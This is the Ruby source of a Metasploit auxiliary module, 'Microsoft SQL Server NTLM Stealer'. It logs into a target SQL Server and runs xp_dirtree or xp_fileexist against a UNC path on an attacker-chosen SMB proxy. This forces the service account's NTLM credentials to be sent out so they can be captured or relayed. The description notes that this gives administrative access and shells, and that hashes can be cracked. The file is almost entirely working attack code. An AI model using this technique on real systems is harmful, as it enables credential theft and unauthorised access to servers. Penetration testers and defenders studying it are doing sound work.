metasploit-framework/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server NTLM Stealer',
'Description' => %q{
This module can be used to help capture or relay the LM/NTLM credentials of the
account running the remote SQL Server service. The module will use the supplied
credentials to connect to the target SQL Server instance and execute the native
"xp_dirtree" or "xp_fileexist" stored procedure. The stored procedures will then
force the service account to authenticate to the system defined in the SMBProxy
option. In order for the attack to be successful, the SMB capture or relay module
must be running on the system defined as the SMBProxy. The database account used
to connect to the database should only require the "PUBLIC" role to execute.
Successful execution of this attack usually results in local administrative access
to the Windows system. Specifically, this works great for relaying credentials
between two SQL Servers using a shared service account to get shells. However, if
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
inspiration.
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
'License' => MSF_LICENSE,
'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]]
))
register_options(
[
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
])
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end
def run_host(ip)
# Reminder
print_status("DONT FORGET to run a SMB capture or relay module!")
# Call auth_force method to execute "xp_dirtree"
begin
force_auth("xp_dirtree",datastore['SMBPROXY'])
return
rescue
print_error("xp_dirtree failed to initiate authentication to smbproxy.")
end
# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
begin
force_auth("xp_fileexist",datastore['SMBPROXY'])
return
rescue
print_error("xp_fileexist failed to initiate authentication to smbproxy.")
end
end
# Method to force sql server to authenticate
def force_auth(sprocedure,smbproxy)
print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
# Generate random file name
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
# Setup query
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
result = mssql_query(sql, false) if mssql_login_datastore
column_data = result[:rows]
print_good("Successfully executed #{sprocedure} on #{rhost}")
print_good("Go check your SMB relay or capture module for goodies!")
end
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end